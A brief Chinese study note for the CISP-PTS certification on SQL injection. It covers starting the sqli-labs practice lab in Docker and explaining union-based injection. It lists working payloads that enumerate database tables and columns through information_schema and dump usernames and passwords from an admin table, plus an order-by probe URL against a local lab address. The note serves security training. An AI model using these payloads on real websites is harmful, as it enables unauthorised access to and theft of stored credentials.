cisp-pts学习笔记-sql注入

0.环境准备

使用docker 部署

docker search sqli-labs               # 查询sqli-labs docker镜像
docker pull c0ny1/sqli-labs          # 我选择的是这个，大家可以选择其它的
docker run -d -p 81:80 c0ny1/sqli-labs  # 启动起来我们的镜像 

1.联合查询（重点考）

联合查询注入是回显注入的一种，也可以说联合注入的前提是，页面上要有回显位。那又引出了另一问题，什么是回显位？
在一个网站的正常页面，服务端执行SQL语句查询数据库中的数据，客户端将数据展示在页面中，这个展示数据的位置就叫回显位。

database()  //库名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#//表名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = "test"#//列名
union select id,username,password from admin#//爆数据

order by 列数

http://172.16.243.133:81/Less-1/?id=1’ order by 4–+